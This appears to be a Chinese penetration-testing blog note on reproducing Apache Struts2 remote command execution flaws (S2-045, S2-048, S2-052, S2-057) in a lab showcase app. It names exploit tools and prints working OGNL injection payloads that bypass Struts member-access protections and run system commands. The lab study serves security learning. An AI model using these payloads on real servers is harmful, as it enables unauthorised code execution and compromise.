Struts框架全系列命令执行漏洞还原 (端口默认8080)
历史漏洞: https://www.seebug.org/search/?keywords=struts2
s2早期综合利用工具(10-17年高危漏洞)
K8 struts2 EXP
填写目标,可以执行命令,文件上传(小马),连接小马
出现.action或者.do
都可能是使用structs2框架
s2-045漏洞还原(K8就可以) http://192.168.0.127:8080/struts2-showcase/showcase.action
s2-48攻击过程还原 struts2 S2-048远程代码执行漏洞exp
C:>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action “ipconfig”
使用的struts048.py
struts.2.3.x版本上的showcase插件中构造不可信输入实现远程命令攻击
s2-052攻击过程还原(针对版本struts 2.5-2.5.12) Struts S2-052漏洞利用之Meterpreter(CVE-2017-9805)
https://www.cnblogs.com/Hi-blog/p/7510987.html
search struts2
S2-057漏洞复现(需要参数alwaysSelectFullNamespace被设置为true) Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
http://192.168.0.127:8080/struts2-showcase//actionChain1.action
【web渗透测试与代码审计|远程命令执行与反序列化之——Struts框架全系列命令执行漏洞还原】参考文章: https://blog.csdn.net/weixin_43625577/article/details/97111575注意事项:
https://www.sinesafe.com/article/20180823/struts2057.html
首先在struts.xml配置文件添加
其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type=“redirectAction”(跳转)
目的为了将路径变成可控的
攻击payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(‘calc.exe’)} (执行远程服务器的计算器)
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
推荐阅读
- 网络攻防实验|实验十四(Wireshark数据抓包分析之ARP协议)
- 未知攻 焉知防(从攻击视角看“重保”场景的防守之道)
- 自动化测试|实用 | 如何利用 Burp Suite 进行密码爆破
- 密码学|机器学习隐私保护-MPC通用编译器
- docker|云原生时代下的容器镜像安全(上)
- Web安全|渗透测试Metasploit框架体验(5.理解MSF后渗透-之提权)
- 权限提升|Windows提权--小迪权限提升--烂土豆--DLL劫持--udf提权
- 安全|利用msf实现windows的上线与提权
- web安全|[CTF的PASSBY]浅谈FLASK-jinja2 SSTI 的绕过